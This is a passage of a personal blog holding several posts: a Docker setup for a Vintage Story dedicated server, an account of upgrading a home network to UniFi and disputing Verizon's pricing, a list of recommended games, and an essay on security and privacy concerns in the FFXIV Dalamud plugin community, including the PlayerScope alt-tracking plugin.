notnite's blog

Running Vintage Story in Docker, the lazy way

Thu, 16 Oct 2025 00:00:00 GMT

This post is a short one, I just thought it was fun and/or useful to write about. My friend group is starting their seasonal Vintage Story addiction, which means I’m in charge of setting up a dedicated server.

The Vintage Story dedicated server comes with its own server.sh shell script (which seems to be the official setup method). It runs the game under a screen session, which I’m not a fan of, as I’d prefer to use my existing Docker setup. It also requires you to install the .NET Runtime, which I didn’t want to do (and couldn’t do back when Vintage Story still used .NET 7).

However, because Vintage Story is written in C# and uses the modern .NET Runtime, you can just skip server.sh entirely and execute VintagestoryServer.dll using the dotnet CLI. This also makes my life easier, since I don’t need a custom Dockerfile and I can just use the official .NET images. I’m used to updating games with SteamCMD, so I prefer mounting the game install as a volume instead of baking it into the image.

The dedicated server can be easily downloaded without authentication, so I just unzip it into a folder:

wget https://cdn.vintagestory.at/gamefiles/stable/vs_server_linux-x64_1.21.5.tar.gz
mkdir ./server
tar -xf ./vs_server_linux-x64_1.21.5.tar.gz -C ./server
rm ./vs_server_linux-x64_1.21.5.tar.gz

Finally, I just created a compose.yaml with the official .NET Runtime image:

services:
  vintagestory:
    image: mcr.microsoft.com/dotnet/runtime:8.0
    restart: unless-stopped
    ports:
      - "42420:42420/tcp"
    volumes:
      - ./server:/var/vintagestory/server:ro
      - ./data:/var/vintagestory/data
    command: ["dotnet", "/var/vintagestory/server/VintagestoryServer.dll", "--dataPath", "/var/vintagestory/data"]

After starting the server, it’s easy to edit things in the data directory (e.g. put mods into the Mods folder or edit serverconfig.json). Problem solved!

Upgrading my home network to UniFi

Tue, 22 Apr 2025 00:00:00 GMT

One morning, after waking up and dragging myself to my desk, I logged into my computer only to find out that I couldn’t connect to the Internet. Annoyed, I opened my router’s interface in my browser to go diagnose the issue. I began to ask myself if my ISP had broken something upstream again, or maybe if I had accidentally uninstalled my network drivers again. However, the connection to my router timed out!

At this point, I began to realize this would be a far more annoying problem to deal with today. This meant that there was either A) total failure of my downstairs networking equipment or B) the WiFi access point had failed. To rule this out, I went to my website from my phone, which was hosted on my home server downstairs. Unfortunately, it loaded fine…

That meant it was the fault of my WiFi! For context, I use a mesh WiFi network, because running network cables through my house would be a ton of work. Specifically, I use an older revision of the NETGEAR Orbi. There’s an access point downstairs where the router is, and one upstairs at my desk that I connect to via Ethernet.

I went to the upstairs access point’s web interface, but everything seemed fine. Next, I looked at the downstairs access point from my phone, and I then realized what had happened. The two access points were disagreeing on their connection state:

I tried moving the access point, factory resetting it, replacing the cables, but nothing worked. At this point, I considered the hardware dead. For a brand with the marketing line “no more dead zones or dropped conections”, I would say that my entire upstairs floor became both of those.

I could still reach the downstairs access point, but it was comparatively slow, reducing my network speed from 300 Mbps to about 20. I coordinated a plan with my dad, and we decided that we would replace the WiFi setup entirely.

I looked through a lot of consumer options, but every brand had its own downsides, and I wasn’t sure what to go with. Jokingly, I suggested going with UniFi, as I had always been interested in UniFi but never had the justification to replace my current hardware. To my surprise, he agreed to my idea, so I started researching. Here goes a huge rabbithole!

World’s dumbest woman vs. networking equipment

I am going to start this post with a clear statement: I am very bad at networking. On the very first server I ran, two of my friends had root access in case I broke WireGuard again. There was also a time I tried adding a second static IP to my server and I brought it down for three hours.

I don’t have a lot of freedom to play around with my homelab’s network for a few reasons:

I am unemployed.
My homelab network is actually just my home network. There’s pretty much no isolation from the rest of my network, so if I break something in a bad way, I break my residential connection and my family members get mad at me.
I made the terrible mistake of hosting “important” services on a home server. Whoops!

However, beyond that, I vaguely know how these things work. I was focused on replacing my access point(s), but the entire selling point of UniFi is that it’s unified, so I also would want their router and at least one switch.

Usually, I would be annoyed about having to replace every single component in my tech stack to have a unified ecosystem (cough), but I was actually pretty happy about having a reason to replace everything. The current switch I have downstairs is extremely old and slow, and the current router/firewall I have is a early-2000s Dell OptiPlex running pfSense.

It took a bit of research and going back and forth to decide, but I eventually settled on the following:

The UniFi Express 7 as my “Cloud Gateway”, which is the fancy UniFi branding for the central device. This acts as my router, firewall, and main hub for controlling everything.
Two Lite 8 PoEs for switching. I literally just went to the “Utility” section of their site and sorted by the minimum price. I considered the Flex, but paying $10 more for 3 more ports was worth it.
A U7 Pro for the upstairs access point. Did I need WiFi 7? No. Did I get it anyways? Yes.

My dad was currently on vacation with my brother, so he ordered it for me to pick up at a local Micro Center. My dad being on vacation was a net positive, as he was with a person who also owned UniFi, and so he was able to learn more about UniFi from direct experience. If you’re reading this, thanks John.

I picked up the order from Micro Center that evening. As I walked up a set of stairs, my mom said I was carrying the bag like a newborn baby, so she decided that it would now be named Marcus. Sure, whatever, welcome to my household Marcus.

Initial setup

I originally was going to wait to replace everything until my dad got home, but the temptation of shiny toys on my living room counter combined with me running dnf up at 6 MiB/s got to me. I unpacked everything and got the cables setup, and then I went downstairs to assess everything.

The current equipment resides in a dilapidated corner of my garage. Everything rests on a single shelf, and the wiring was so bad that I can’t post it on this page without a content warning. A single power strip provided power for every device, with a cacophony of Ethernet cables presumably running into a switch I couldn’t easily see.

This, obviously, had to go. However, a lot of this hardware was things that I did not want to touch. Removing and cleaning up everything without any help would’ve taken hours, which I didn’t want to do just yet. Instead, I decided on a temporary compromise, which I would clean up with my dad after he got home next week.

While the power strip on the shelf was completely full, there was another power strip on the opposite side of the garage. I was able to bring the power strip just over to the shelf, and simply placed the UniFi equipment next to the shelf, powering it from the second strip. This was a complete mess, but it worked!

Instead of being a responsible sysadmin and telling anyone about downtime, I just unplugged the Ethernet cable from my ISP’s equipment and watched as everything started to blink red. Even when I know I’m doing everything right so far, seeing all of the status lights get mad is a very uncomfortable feeling.

I plugged the Ethernet cable into the Cloud Gateway, and I sat there as the cutesy screen flashed to life. I got out the UniFi mobile app, created a new account, and connected to the gateway. The network settings weren’t detected automatically (presumably because I have a static IP), so I had to manually enter the IP/gateway.

And… it just worked! Seriously. I sat there in shock as it just configured everything perfectly without my input. Compared to the first time I set up pfSense, UniFi took a lot less button pressing and head scratching to get it to work. It turns out paying for convenience does work sometimes! ~~Maybe Apple was right.~~

After the WiFi was up, I had to get all the Ethernet connections back online. I plugged in my home server, Philips Hue bridge, and a few other things that were downstairs. I left my old home server (which had been unused for months) and the pfSense box sitting there, disconnected from the rest of the network, but still powered on for no reason. Is it possible I just violated the computer version of the Geneva Conventions?

I fiddled around in the UI on my phone to get the HTTP ports forwarded to the server. My site was back online, after just a few minutes of downtime, so hopefully nobody noticed anything. Nice! While the other devices around the house still had to be connected, my biggest priority was complete, and I was relieved.

I spent some time playing around in the UI, and I really enjoyed it. Everything seemed easy to get to and simple to configure. It’s a lot nicer than dealing with crusty NETGEAR interfaces or having to read FreeBSD logs.

When I first opened the page, I saw a list of devices that were on my network, as well as the services they were connecting to. Seeing the Let’s Encrypt logo inside of my router page struck deep fear into me, so I instantly turned that feature off. I presume it just inspects SNI or something.

The upstairs access point

Of course, the entire reason I replaced this network was for the upstairs access point that failed. I brought the switch and access point upstairs and plugged it in on my desk. The access point started as soon as I plugged it into the switch, which was the exact moment I became a Power over Ethernet enthusiast.

I looked at my phone, and I got a new notification to “adopt” the upstairs AP. I admire the term “adopt”, it could have been “claim” or “register” or “setup” or literally anything else, but instead it’s the one term that makes me feel like a proud mother. Perhaps my mom was right about naming it Marcus.

Anyways, after I hit the button, it took a few minutes to configure and then I got one more prompt for the switch it was connected to. After it was finished, I went to go configure the access point, and… it was already setup???

The UniFi app already set up the upstairs AP to mesh automatically, registered the switch properly, and both WiFi and Ethernet worked fine upstairs. I was very happy about this, so I ran a quick speed test on my computer, and went to collapse in bed for a bit.

When I got out of bed, I walked over to my desk and saw Discord wasn’t loading. I began to wonder if my Discord client mod broke, but I realized that the entire network was offline. Again.

At this point, I was angry but amused at the situation. I bought into a new ecosystem expecting it to just work, only for the same exact scenario to happen once more. However, I doubted that the hardware was faulty, and I assumed that it might have just been a quirk in setup. I just rebooted the AP and walked away.

When I woke up the next morning, it happened again, so I began to troubleshoot. I knew that AP meshing wasn’t a very popular feature as most people just wire devices directly, so I suspected it was some issue involving that.

Going to the app, I could see that the AP was marked as “Isolated”, and the upstairs switch was offline:

From a quick search, “isolated” apparently means that the AP was detected but not connected. This felt oddly familiar to the issue I had with the Orbi. The upstairs switch being offline makes sense, as the AP is the only way it can wirelessly communicate to the gateway.

I spent a lot of time investigating this and getting nowhere. I restarted the Cloud Gateway as well, but nothing really changed. I tried resetting and re-adopting the AP, but it still had the same issue. Eventually, after poking through the web UI, I found something concerning:

The Cloud Gateway had meshing on, which I expected (it should be meshing to the upstairs AP). However, the tooltip showed that it wasn’t meshing to the AP, it was meshing to itself. This makes absolutely no sense, and it means that something must have gone wrong in my setup - perhaps an infinite loop of some kind. Bad Marcus!

I restarted the AP and Cloud Gateway, and took a look at the settings of the AP. Unfortunately, I didn’t take a screenshot of what I saw in that moment, but here’s what I see now:

You’ll notice that, in this image, the uplinking checkbox is greyed out. This is because the device is currently uplinking to the Cloud Gateway for an Internet connection. However, when I looked at this for the first time, both checkboxes were enabled and greyed out.

The connection is supposed to be provided by the Cloud Gateway, which would downlink to the AP. Because of this, the AP would need to have uplinking enabled. However, it had uplinking and downlinking enabled, so at one point the AP automatically reconfigured itself to reverse the flow of traffic. The Cloud Gateway would try and connect to the AP for the network!

This would cause the AP to get disconnected on my network, stranded as it couldn’t figure out how to connect back to the Cloud Gateway. This manifested in the AP slowly blinking blue, which indicates that there wasn’t a connection. It would eventually become “isolated” and bring down the network upstairs, but still broadcasting the SSID, causing the upstairs to turn into a network black hole.

From my understanding, the UniFi app would automatically enable meshing in both directions when pairing the AP. I just had to reset and re-adopt the AP, wait for it to “get ready”, and rush to disable downlinking before it automatically kicked in. Problem solved!

Not the first time I’ve dealt with computers isolating, I guess.

Now that this AP was in place, I was able to connect all of the devices around the house. There were a lot of painful input methods across the various devices, but my (least) favorite was the Nest thermostat. I had to rotate the dial and press down to select a letter, one letter at a time. Who designed that???

Creating VLANs

I wanted to get VLANs going for the house as soon as I could. I wanted to split the home devices, homelab stuff, and IoT devices into three separate networks. I didn’t want to setup any isolation rules just yet, though - my current goal was just setting up everything and configuring the devices.

I created a VLAN in the UI and watched as the Cloud Gateway seemingly reconfigured itself. My status monitoring alerts detected a brief connection loss to my server. However, even though the alert said the server went back online, I didn’t have any networking upstairs. Not again…

Once more, the upstairs network was broken, but the downstairs network was fine. This time, the scenario was even more peculiar. I could ping addresses from my LAN and the Internet just fine, but I couldn’t SSH into my server. Confused, I went to the Cockpit web UI for my server, but it wasn’t loading. Great!

I was very confused on how this happened, especially because I hadn’t even assigned any devices yet. Having a VLAN enabled broke the entire network, even if it wasn’t being used at all. Disabling it fixed everything, but I obviously still wanted to use VLANs.

Looking at the network tab in Firefox, it seemed like the connection was being dropped halfway through a request. This also lined up with what I saw with SSH, it would get halfway through the handshake and just stop responding. I got out my phone and got into my server with Tailscale, then tried a basic TCP connection through Termux. As expected, it just gave up after I sent a certain amount of data.

I was very confused at how this happened, especially when the UniFi web page reported everything was okay. In fact, I even connected to the Cloud Gateway perfectly, but anything else on the local network or Internet was broken. I was able to see that my device was assigned an IP, but the Cloud Gateway couldn’t even tell I was making any traffic:

I ended up stumbling around and found a button to download a Wireshark capture. This was really cool (and a little scary that it was so easy), so I let it run for a bit and opened it up in Wireshark:

Sure enough, I got a .pcap in a .tar in another .tar, and I ran sudo dnf install wireshark from my mobile hotspot to take a look. One painfully slow repository update later, I opened Wireshark and saw that traffic would… indeed just eventually reset. The capture wasn’t very helpful, unfortunately.

At this point, I was super confused. No amount of searching my problems would help, as I could barely find information about meshing, much less this specific problem. At this point, I had spent my entire evening working on this, and I was starting to get stressed out. I didn’t want to post on a support forum just yet, so instead I asked some friends for help.

A few days ago, my friend Kaz tested UniFi meshing for me before I bought everything, just to make sure my setup would work fine. I let him know I was having issues with VLANs, and he let me know he would take a look after he was done with his FFXIV raid night. However, he suggested I just take the AP downstairs and plug it in physically for a bit.

God damnit.

I spent maybe six hours troubleshooting this, tearing my hair out trying to get this to work, changing all sorts of overrides and VLAN configs. And all I had to do was plug it in for a few minutes. Lesson learned, I guess.

My assumption here is that the updated VLAN configurations weren’t being properly synced to the AP when it was meshing. Having it plugged in via Ethernet allows it to sync whatever information is required without any potential interruption. I guess I’ll see how accurate this theory is if I make a fourth VLAN in the future.

Now that the VLANs actually worked, I was able to force assign each device a IP/VLAN based on its MAC address. This made it a lot easier to set up the IoT devices, since I just had to set some overrides and reconnect them.

Some devices (like my WLED controllers) have their own static IP settings, so I didn’t specify a fixed address for those devices. I figured that if I set a fixed address in UniFi, but the device itself had a separate fixed address, they would fight over which address to force it to and cause issues.

Again, I’m not actually separating any traffic here. I’m using VLANs mainly for organization, not for the firewall, and the SSID isn’t forced to a specific VLAN. I eventually plan to make a second SSID for the IoT devices, but I don’t want to go around and change the connection info on everything for a second time right now.

In the future, I might set up strict firewall rules between everything (e.g. IoT VLAN can only reach the Home Assistant IP), but that’s not very important for me at the moment. I’m happy with how it is right now, and my threat model does not include my toaster being hacked and traversing my home network (but I encourage you to try).

Getting scammed by Verizon

While I was happy with my setup so far, there were two glaring issues I had with it, and both were the fault of my ISP (Verizon):

My internet plan is currently capped by our plan’s speed. I could clearly push way more than this with the new hardware, but it’s not gonna be any faster outside of the local network.
We don’t have IPv6 in the house. I live in an area that should be able to get IPv6, but I never got it working with pfSense, and UniFi didn’t automatically detect IPv6 when setting everything up.

I asked my dad to recheck the pricing for the plans we were offered. I vaguely remember discussing plans with him years ago, and we decided that the faster options were too unreasonably expensive for us at the time. Here’s what we saw in our account settings:

That is extremely unreasonable. $269? Seriously? To add insult to injury, we currently pay for 300/300 Mbps for $159/mo, and the 500/500 plan is $10 cheaper. We were so grandfathered into a plan for so long that a cheaper option became available, and they just never told us. Sigh.

I started to research, because that felt extremely wrong. Looking at their marketing page, gigabit is… $99??? So the price they offer on their marketing page is $60 cheaper than what we’re paying now for three times the speed, and the price they show us in the account settings is over double that marketing price.

I began to think that maybe the price was just different due to some quirk of my region, since I know that network plans can depend on the hardware and lines installed in your area. I put in my neighbor’s address (on the same street) onto their marketing page, and it said gigabit was available for $99. Great.

I assumed this had to be something related to our current plan. Maybe this is the result of a shitty contract, or maybe our grandfathered plan is ruining our upgrade path. Perhaps there’s some hidden fee that we weren’t aware of, even though the marketing page says the price doesn’t factor in any taxes or fees.

I thought that we should probably call up my ISP and ask what the hell was going on, and also maybe see if we could get IPv6 in the process. At this point, it was the end of the week, so my dad called them up when their phone line opened on Monday morning.

He let me know that he tried his best to talk with the support representative, but they wouldn’t budge on gigabit’s pricing. At this point, I began foaming at the mouth with rage, ready to go start up my own NotNite ISP and fuck up BGP in the process.

I don’t think this is the fault of the support rep, I’m sure they’re just following some company guideline (or maybe I’m missing something in the fine print), but I was still annoyed. Eventually, I think my dad just gave up and moved to the extremely overpriced gigabit plan. He’s paying for it, so I presume he’s fine with the price, but I still feel bad that he’s getting scammed. :(

Getting scammed by Verizon (IPv6 edition)

Beyond the pricing issue, I still wanted to figure out IPv6. The support rep informed us that IPv6 should already work for our plan, but I didn’t believe that for a few reasons:

There is no information about IPv6 anywhere in the account settings. The plan specifies our static IPv4 configuration, but there’s no mention of IPv6 anywhere, not even in the plan’s description.
UniFi didn’t setup IPv6 automatically when I setup the Cloud Gateway for the first time, so I presume it couldn’t find anything. It’s possible I need to configure it manually (like I did for my IPv4 address), but again, there’s no information to use.
Back when I used pfSense, I tried (and failed) to get a IPv6 prefix. I doubt it would magically work now…

I decided to turn on IPv6 in UniFi and see if it did anything automatically, but nothing happened. I tried both SLAAC and DHCPv6, changing the prefix size, but still nothing.

At this point, I started to think that either the support rep was wrong or my hardware is too old. I have no idea what model ONT I have, and to my knowledge that’s a completely different layer where it wouldn’t impact IPv6, but I considered it could be the issue based on the support rep’s wording.

Confused, I asked self-proclaimed IPv6 expert Maddy about what buttons to hit, but we couldn’t figure anything out. I also asked actually-certified IPv6 expert Kaz about this scenario, and he let me know that the most likely configuration for IPv6 would be through SLAAC. However, he noted that our account is a business plan with static addressing for IPv4, and apparently that just doesn’t work with Verizon’s IPv6?

This would make a lot of sense. It’s possible we needed to ask for a static IPv6 prefix on our account, since we already had a static IPv4 address, and you might not be able to mix static+dynamic plans. The support rep might not have noticed that we have a static address, which would require our plan to be reconfigured.

However, we called back, and it turns out that this just isn’t possible. The support reps were very confused and I guess they really just can’t do it. I think IPv6 just isn’t rolled out to business customers with static addresses - looking at the forums, it looks like this is the case, and this post is from March of this year. Ouch.

For now, I’ve given up on IPv6, even though I really want it. I hope Verizon actually makes some progress on this, since it looks like they provide IPv6 to other residential customers (and even business customers with dynamic addresses, I think?).

Final thoughts

UniFi itself is great. I’m happy to have cleaned up my home network quite a bit, and the user interface seems a lot more friendly than what I was dealing with before. I also enjoy the fact that integrating new UniFi products into the household should be extremely painless, but I’m not in the market to spend any more money on networking equipment right now (lol).

Speed wise, even though I’m upset about the insane pricing, I’m enjoying the new plan, even though I’ve yet to make good use of it. I was getting about 930/930 downstairs and 650/890 upstairs. As expected from mesh networking, the upstairs AP is slightly slower. Maybe I can tweak the AP’s settings in the future, but I don’t care enough right now.

The upstairs AP still needs to be properly mounted somewhere. Right now it’s just laying against the side of my desk, and the switch is taking up space where I’d usually put my phone. I’m not entirely sure where I’ll mount it, especially because I need an Ethernet cable to the switch, so bringing it through my room’s wall into the hallway might be required.

I still need to make some final touches on the network configuration (e.g. moving some things into VLANs), and I need to go downstairs and clean up the Cthulhu-ass cable management, but otherwise I’m satisfied with everything right now. In sysadmin tradition, let’s see how long it takes for me to hate something about it.

oh yeah thats good

Wed, 05 Mar 2025 00:00:00 GMT

These are games that I like, and I think you might like them too. This page is a rewrite of the original page, which was almost 3 years old… now just a few sentences per game instead of entire paragraphs.

Adventure

OneShot: a puzzle/adventure game about the fourth wall and a cat who likes pancakes. Also see the remastered World Machine Edition!
Outer Wilds: adventure game about space and time. Go into this blind, spoilers ruin the game!
A Hat in Time: cute silly platformer with a lot of DLC content. Now mostly dead, RIP.
Pikuniku: a red ball overthrows capitalism. Short and enjoyable with a silly co-op mode.
Untitled Goose Game: be a goose that ruins everyone’s day. Also kind of a puzzle game?
Jazzpunk: fever dream video game. Not really sure how to explain it. Just have fun.
The Stanley Parable: Ultra Deluxe: remake of The Stanley Parable with more stuff in it, which gets quite absurd at times. It’s more than it seems.
The Beginner’s Guide: incredibly moving walking simulator about creative drive. I play it every year or so to reflect on it.
Firewatch: the game that everyone used as wallpapers that one time. Beautiful mystery game that makes me feel like I go outside more than I really do.
Stray: you’re a cat in a dystopian city. Made me cry.
No Man’s Sky: explore space! The best comeback story in the gaming industry. It’s fun to pretend I’m a space voyager.
Hypnagogia: Boundless Dreams: walking simulator about exploring dreams. I want to make a game like this!

Platformer

Celeste: beautiful slick platformer with a pretty good story, tons of extra contant, and a very talented modding community.
GRIS: beautiful artistic classic. Also play Neva!
VVVVVV: classic platformer about bending gravity that came out when I was 4. Still fun to this day!
Bomb Rush Cyberfunk: funky skating game that feels like Jet Set Radio 3. Also check out my multiplayer mod!
Refunct: extremely short and sweet platformer speedgame thing. Not sure how to describe it. Fun and mindless.
Verlet Swing: swing around with a rope. It’s like the swingset in elementary school all over again.

Puzzle

Portal 2: my favorite puzzle game, and speedgame of choice. Probably the patient zero of modern internet humor.
Manifold Garden: absolutely mind bending puzzle game that breaks most laws of reality.
Superliminal: abuse the power of depth perception to also break most laws of reality.
Tetris Effect: Connected: incredibly artsy version of Tetris and also probably the best Tetris Guideline-adhering game.
Donut County: consume an entire house via a hole in the ground. Somehow oddly satisfying.
Peggle Deluxe: fever dream pachinko. They should release Peggle 2 on Steam.

Action

Titanfall 2: the best FPS campaign I’ve ever played, with an active modding community making custom servers.
ULTRAKILL: the boomer shooter of the 21st century. It’s stylish as hell and there’s a ton of content.
FINAL FANTASY XVI: they made a Final Fantasy game that’s just Devil May Cry in disguise. It’s very good, though. Haven’t actually beaten it yet because the climax of the story was so good I had to stop playing.
SUPERHOT: time moves when you move. You’ve probably already played it but it’s fun to revisit every once in a while.
Every single Half-Life game. I’m not even linking this you just know it’s good already. Alyx too.

Automation

Satisfactory: an easy way to make me waste two weeks. Extremely delightful every step of the way, but performance hits hard sometimes.
Factorio: the classic automation game. Never really clicked for me, though…

Misc. multiplayer titles

WEBFISHING: fish with your friends! Also check out my modloader.
Rabbit and Steel: imagine if FFXIV raiding was good and also 2D and also you were a rabbit. Easy to pick up and tons of fun, with harder raid tiers for the sweats.
ATLYSS: fun RPG best experienced with friends. The #1 use for Steam Private Games worldwide.
Buckshot Roulette: fun party game where you take turns blowing your head off. There’s some amount of strategy to it but I’m kinda stupid so I don’t know how to play it well.
Screeps: World: a programmer MMORPG where you write code to interact with the game world. I get really invested in it for like two days then drop it for a year.
Risk of Rain 2: extremely fun roguelike. Hopefully Gearbox hasn’t fucked it up more since I wrote this line.
Xonotic: the free and fast arena shooter. We play this every once in a while in my Discord server.

Other stuff I couldn’t sort into a category because I’m lazy

FINAL FANTASY XIV Online: MMORPG that I’ve spent too much time writing mods for. it gets better after 300 hours. My only exception to the no-live-service rule in this post.
SIGNALIS: survival horror with an incredible story. Yay lesbians!
Balatro: it’s gambling. It’s gambling. It’s just gambling. It’s peak.
Pseudoregalia: a metroidvania with incredible movement. The game ends very abruptly, though, so I have no idea what the story is about.
Teardown: voxel physics sandbox where you can destroy anything. RIP that one flying exploit with the wooden boards.
American Truck Simulator: trucking simulator. If you speed fast enough, the early bonus offsets the traffic violations.
Minecraft Dungeons: Diablo but Minecraft. It’s actually pretty fun.
Wanderstop: a “cozy game” about tea, burnout, and change. Incredible writing, music, atmosphere, art, and story.

Honorable mentions

These are games that I haven’t finished yet (and have been meaning to for years…), but you might be interested in them!

PlayerScope, plugins, and Dalamud's fate

Sat, 11 Jan 2025 00:00:00 GMT

When I “fought” GShade almost two years ago, a lot of my work in that timeframe made its waves across the FFXIV community. I had learned firsthand what it felt like to be capital-letter Known, and also what it felt like to have a lot of your friends mad at you. While my friend groups cheered me on and random community members praised my work, the Dalamud maintainers and moderators I was friends with weren’t as happy.

I was booted off of the Discord server’s support team, and the server banned discussion of the current events completely. This was a really harsh reality for me to face - I had derived a lot of individual meaning from my ability to help (especially on chaotic patch days), and my attachment to the project in any form was eliminated right then and there. This led me down a difficult few months when my respect was earned in the wrong place I wanted it - I wanted my peers to trust me, not random people on the internet.

I’m a different person now, with a better outlook on my drive for creation, and I’ve rebuilt most of my trust with those people. I have since learned to not do what makes me feel like I’m “part of a community”, and instead focus on what makes me and others happy the most. I’ve mostly stopped contributing to Dalamud and XIVLauncher, and I put my attention towards building other software that makes people happy (with notable examples being Slop Crew, moonlight, and GDWeave).

While I’ve had a few other moments since, I learned to quiet down and not stir up unneeded drama. I took the impression from the scorched-earth policy on discussion that most Dalamud maintainers did not want to poke at the community’s monthly drama.

Many, many things would pass since then. Despite all that time, we’re seeing another one of those moments - a somewhat-unified dislike towards a project’s goal, stirring up enough discourse to make it to PCGamer.

The project is known as “PlayerScope”, a custom repository Dalamud plugin, and the goal of it is to correlate alts of players using an account identifier sent to the client. This would catch me off guard seeing the Dalamud maintainers publish a statement on it, which means things have gotten truly dire, in my eyes. This is a stark contrast to the handling of the GShade incident - of course, brought upon from the fact that it’s more relevant to Dalamud itself - but still unusual for their patterns of communication.

This feels oddly familiar to everything I witnessed two years ago, except now this has a direct privacy issue tied into it. The stakes are much higher, and I watch over this kind of turmoil - one not focused on a group of players’ actions (like with most drama), but rather a piece of software itself - and I fear for the future of our ecosystem.

How did we get here, anyway

For the readers here that somehow do not know what I’m talking about - meet XIVLauncher. XIVLauncher is a custom launcher for FFXIV, most known for the in game plugin system named Dalamud. Dalamud is considered a third party tool, and third party tools are against the terms of service for FFXIV. Despite this, there are a lot of Dalamud users. As I write this, over 20,000 people are connected to Mare Synchronos (a project I’ll talk about in a few paragraphs).

When I started playing FFXIV, sometime around the release of Shadowbringers, I was told by the friend that got me into this game about this cool launcher that adds some quality of life features. I was explicitly told to not talk about this in game - it being against the terms of service and all - and moved on with it. Dalamud was decently well known back then, but not at the numbers that we know today. (For the record, nobody knows of the actual number of Dalamud users minus the maintainers.)

A bit before my time (I want to say 2020 or so), Dalamud was very simple. Zip files of plugins were submitted to the repository (there were no custom repositories), and the concept of “dev plugins” was a folder you copied DLLs into. Plugins were simpler, with us holding less understanding of the game client and jankier APIs to use. (Does anyone else remember UIDev?)

Dalamud would add custom repositories sometime later, allowing developers to host their own plugin lists without having to get direct approval from the Dalamud team. I like how this system works (I even took the idea for my Discord client mod), but it also inherently opens a hole for malicious actors to make plugins with questionable morals. Custom repositories play an important part in this story, as a lot of plugins that get the attention of users (like Penumbra) are distributed on a custom repository. Nowadays, they are essential to learn how to use for anyone wanting to mod assets.

The unfortunate truth is that these custom repositories have been boiled down into simple guides so much that some users don’t realize they’re even different. From my time providing support in the Dalamud Discord server, a fair share of users didn’t even understand where some of their plugins came from, or what we meant by “disabling third party plugins”. We’d eventually adopt the term “custom repository” instead, because people would argue that Dalamud itself is technically third party to the game.

Nowadays, people will hear about popular plugins, want to install them, and follow an installation guide that dumbs down all the security risks they should be thinking critically about. Dalamud plugins are just code, and they can do anything on your computer. Some users don’t care, though - they just wait the 15 or so seconds for the prompt to go away, and add a URL that downloads and executes unverified code on their machine.

Most users I’ve seen do not realize that they need to trust the developer of the plugins they install. For the official repository, this is fine because every plugin is audited and built from source (I helped build that!), but custom repositories can be made by anyone, and the deployed binaries don’t even have to match the published source code of the plugin. This isn’t an issue for the big name plugins from trusted developers, but the act of adding a repository is so trivial that it’s hard to remember you have to trust the developer of every single URL you add.

The community has dumbed down being able to run arbitrary code too much, in an attempt to optimize away having to answer questions. Countless YouTube videos and crusty looking Carrds serve as shorthands to be linked to - a codex of every possible question and issue one could have when installing custom repository plugins, in an attempt to be accessible.

Should we really be trying to optimize for clueless users? Should we really be trying to focus our efforts on user accessibility at all costs when the users in question don’t know what they’re getting into? Some may call this gatekeeping, but I firmly believe that we shouldn’t be trying to build software this way. The patterns and behavior we establish as common place for these users matter, and the imprint we leave on how to interact with Dalamud and what is “safe” is extremely important. There is a bar that has to be set somewhere.

The dead practice of staying hidden

Over time, the number of Dalamud users concerningly grew. In the past, most people used common sense and didn’t talk about their use of plugins in game, or linked their online modding persona to their in game character information. I do not think the community has this skill anymore!

As time went on and Dalamud became more popular, people started doing the unthinkable and talking about plugins in game chat. Hell, half of the North American Party Finder experience is linking your Tomestone.gg profile when forming a party nowadays. We as a community have developed a dangerous habit of announcing a bannable offense right where it can be recorded.

Most people I ask about this say that it’s okay if it’s in a /tell or Free Company chat, but I strongly disagree. The fact that you can or can’t be reported does not mean a lot when Square Enix has already logged you admitting to breaking the terms of service. I have seen a lot of people just directly not care about this, and I struggle to understand why.

I’ve talked to a lot of friends I know who are guilty of this, and I have yet to hear a coherent reason to justify willingly “video-game-TOS-incriminating” yourself. A common argument I hear is “I wouldn’t care if I got banned”, which must be some sort of denial given the people I talked to have sunk several thousand hours into this game.

I largely attribute one of the big players in this change in mindset to Mare Synchronos. For the unaware, Mare is a plugin that enables you to sync your character mods in real time with other players. You can enable a mod or change your outfit clientside, and it will sync to every other person you’ve “paired” with in real time. (This is also a very concerning security issue given that the file parsers for this game are not good, but that’s a discussion for another day.)

Mare (and the greater asset modding scene) is a very big draw towards this part of the ecosystem, given the infinite customization options it awards you, and being able to show those options to your friends. The official instructions for Mare has always been to only pair with who you trust, but again, users do not care. Mare features a system called “syncshells” which allow you to sync an entire group together at once. Of course, this would quickly evolve beyond the original scope of a close group of friends, now being used at scale for large in-game gatherings and codes shared into the public. (Syncshells are also dangerous for the above mentioned file parsers, but again, another day.)

This kind of feature invites a culture that is hard to control. It is designed to allow you to announce your character’s presence with mods to a large group of people, which already reaches beyond the original commonly-known statement of “don’t talk about plugins in game”. When joining a syncshell, the act of you using mods can be verified by anyone else in that syncshell. Given the nature of the system, other friends will get invited, and who knows about your character and your mods spirals out of control.

Some Mare players I’ve seen also directly advertise themselves - they disregard all safety warnings given out in the community, and will advertise their use of Mare in their Search Info or otherwise in game chat. The usual play is some auto-translate entry dogwhistle that leads into a /tell to ask for their pairing code. I strongly believe that this is incredibly unsafe, and the fact we’ve gotten here is very disappointing to me.

Some people don’t want to maintain this threat model anymore, probably because they’ve gotten too comfortable with the idea that nobody will get banned. I usually hear that “it’s such a tiny user base, they don’t care” or “it’s such a large user base, if they killed it everyone would stop playing”. I disagree with both. Penumbra 1.3.2.0, released last month, has over 100,000 downloads - that’s a very big portion of the population using scraped Lodestone estimations! In my opinion, Square Enix isn’t going to hesitate to try and stop it if they wanted, just like they still shuffle packet opcodes to this day to break ACT.

We have hundreds of thousands of active players running around using third party tools, some of them clueless enough to admit it, and some of them conditioned to automatically trust the plugins they see. What next?

Miqo’te and mouse

Back to the original point of this blog post - PlayerScope. In April, Square Enix announced that they were changing the blacklist system. Some technical limitations they mentioned caused a few of us in the Dalamud community to wonder if they were going to implement it clientside - I even called this myself at the time.

Come 7.0, a plugin developer realizes that there are some new fields on the player game object. After an investigation, we find that these are the player Content ID and Account ID.

The “Content ID” is a unique ID for your player. It starts at a very large base (depending on the region you created your character in) and increments for each character that is created. I used this technique to estimate that the Cloud Test datacenter had 76,000 characters created on it. We’ve had ways to see a player’s Content ID before, but never this easily.

The “Account ID”, however, is different. This is tied to your FFXIV service account, so multiple characters on the same service account will have the same account ID. We’ve almost never been able to see this account ID in the network before, so having everyone’s account ID attached to their character is a big one.

Both of these IDs are not that useful for anything beyond identification (you can’t use them to log into your account or anything). They’re still fun to stare at (especially with the region data being exposed), and I ended up writing a quick proof of concept plugin to dump the starting region of a character at the launch of 7.0.

